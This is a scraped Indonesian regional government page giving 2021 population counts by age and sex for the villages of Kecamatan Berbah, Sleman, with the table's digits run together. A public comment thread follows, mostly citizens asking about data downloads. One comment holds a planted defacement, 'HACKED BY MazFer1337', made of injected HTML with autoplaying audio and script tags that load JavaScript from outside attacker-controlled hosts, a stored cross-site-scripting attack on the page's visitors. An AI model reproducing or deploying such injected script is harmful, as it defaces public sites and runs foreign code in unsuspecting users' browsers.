Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER I 2021

Jumlah Penduduk KECAMATAN BERBAH, KABUPATEN SLEMAN, D.I Yogyakarta SEMESTER I 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaSENDANGTIRTOTEGALTIRTOKALITIRTOJOGOTIRTOTotal
LPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun212184 396115123 238140132 272120114 234587 553 1.140
2 tahun143109 2528779 16610696 2028963 152425 347 772
3 tahun137106 2439691 1879782 1797666 142406 345 751
4 tahun126129 2558564 1499399 1926781 148371 373 744
5 tahun137115 2529188 179103117 2208582 167416 402 818
6 tahun130131 26199106 20510296 1987566 141406 399 805
7 tahun149106 255110106 21610697 2037990 169444 399 843
8 tahun138135 27310092 192116112 2288889 177442 428 870
9 tahun163157 32012299 221108106 2148969 158482 431 913
10 tahun147134 28188102 190100105 20510077 177435 418 853
11 tahun148134 28212395 218109103 2128771 158467 403 870
12 tahun164145 309102127 229109113 22212576 201500 461 961
13 tahun129116 2459687 183109117 2268276 158416 396 812
14 tahun138138 27694127 22194104 1988896 184414 465 879
15 tahun135124 2598879 16711999 2188783 170429 385 814
16 tahun145134 27910290 19296113 2098174 155424 411 835
17 tahun130131 26111376 1899799 1967594 169415 400 815
18 tahun124125 2498591 176107106 2137978 157395 400 795
19 tahun161154 31585100 18511299 21110560 165463 413 876
20 tahun143136 27910394 19799100 1997779 156422 409 831
21 tahun137135 2729299 191123104 2277088 158422 426 848
22 tahun98122 2208672 1588994 1838872 160361 360 721
23 tahun150106 2568697 18393106 1996868 136397 377 774
24 tahun124121 2458887 17510193 1948676 162399 377 776
25 tahun111139 2509782 17910797 2047865 143393 383 776
26 tahun152125 2778189 1708988 1777176 147393 378 771
27 tahun131126 2578381 164104101 2056967 136387 375 762
28 tahun116116 2328673 1599291 1836573 138359 353 712
29 tahun107109 2167196 16791116 2077490 164343 411 754
30 tahun122122 2447975 15410286 1888782 169390 365 755
31 tahun111131 2426997 1668485 1698463 147348 376 724
32 tahun108125 2337989 1688589 1746462 126336 365 701
33 tahun140136 2768989 17888101 1895876 134375 402 777
34 tahun122131 25310880 18886109 1956382 145379 402 781
35 tahun127134 26182104 186105114 2197672 148390 424 814
36 tahun140159 299106101 20798118 2168094 174424 472 896
37 tahun155135 290104110 214121120 24110195 196481 460 941
38 tahun127138 265121119 240104128 2329387 180445 472 917
39 tahun146135 28191110 20191106 1979198 189419 449 868
40 tahun165160 325115130 24511795 2129599 194492 484 976
41 tahun142144 286119130 24998110 2088695 181445 479 924
42 tahun164150 314109108 21799125 2248585 170457 468 925
43 tahun143150 293130105 235113130 2437983 162465 468 933
44 tahun133136 26912594 2199897 19511885 203474 412 886
45 tahun147144 29196109 205105117 2228999 188437 469 906
46 tahun164145 30992106 19810597 2028189 170442 437 879
47 tahun128141 26910078 17897105 2029296 188417 420 837
48 tahun147167 31484100 184114127 2419399 192438 493 931
49 tahun138131 26982109 19111085 1958470 154414 395 809
50 tahun117133 25097100 19793115 20810584 189412 432 844
51 tahun139152 29110586 19199113 2127983 162422 434 856
52 tahun138147 2859489 183131103 2349084 174453 423 876
53 tahun130118 2487685 16193101 1946997 166368 401 769
54 tahun107125 2328471 1558695 1817076 146347 367 714
55 tahun134124 2587286 15870113 1837270 142348 393 741
56 tahun96107 2037682 1587789 1665973 132308 351 659
57 tahun102132 2347662 1389186 1777091 161339 371 710
58 tahun11190 2016697 1638880 1687269 141337 336 673
59 tahun8397 1806268 1308174 1556057 117286 296 582
60 tahun8994 1835068 1186586 1516568 133269 316 585
61 tahun9095 1856963 1327470 1445578 133288 306 594
62 tahun8188 1695477 1315871 1294767 114240 303 543
63 tahun75105 1805354 1075978 1375049 99237 286 523
64 tahun7764 1415159 1105763 1204147 88226 233 459
65 tahun7570 1454057 975168 1193735 72203 230 433
66 tahun6761 1286154 1155546 1014240 82225 201 426
67 tahun5142 933746 835553 1082756 83170 197 367
68 tahun5450 1043434 684851 992141 62157 176 333
69 tahun4926 752846 743341 742628 54136 141 277
70 tahun3844 822631 573730 674132 73142 137 279
71 tahun3828 662929 582639 652425 49117 121 238
72 tahun2043 633135 662837 652429 53103 144 247
73 tahun2432 561931 501740 571118 2971 121 192
74 tahun1424 382115 361220 321725 4264 84 148
75 tahun2127 481831 492033 532032 5279 123 202
76 tahun2819 471320 332020 401115 2672 74 146
77 tahun2722 492220 422320 431823 4190 85 175
78 tahun2628 541618 341626 423025 5588 97 185
79 tahun1817 35187 251420 34914 2359 58 117
80 ke atas98136 23467111 17873130 20370132 202308 509 817
Jumlah9.0118.89617.9076.2996.46712.7666.7817.14013.9215.5545.63311.187 27.645 28.136 55.781
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih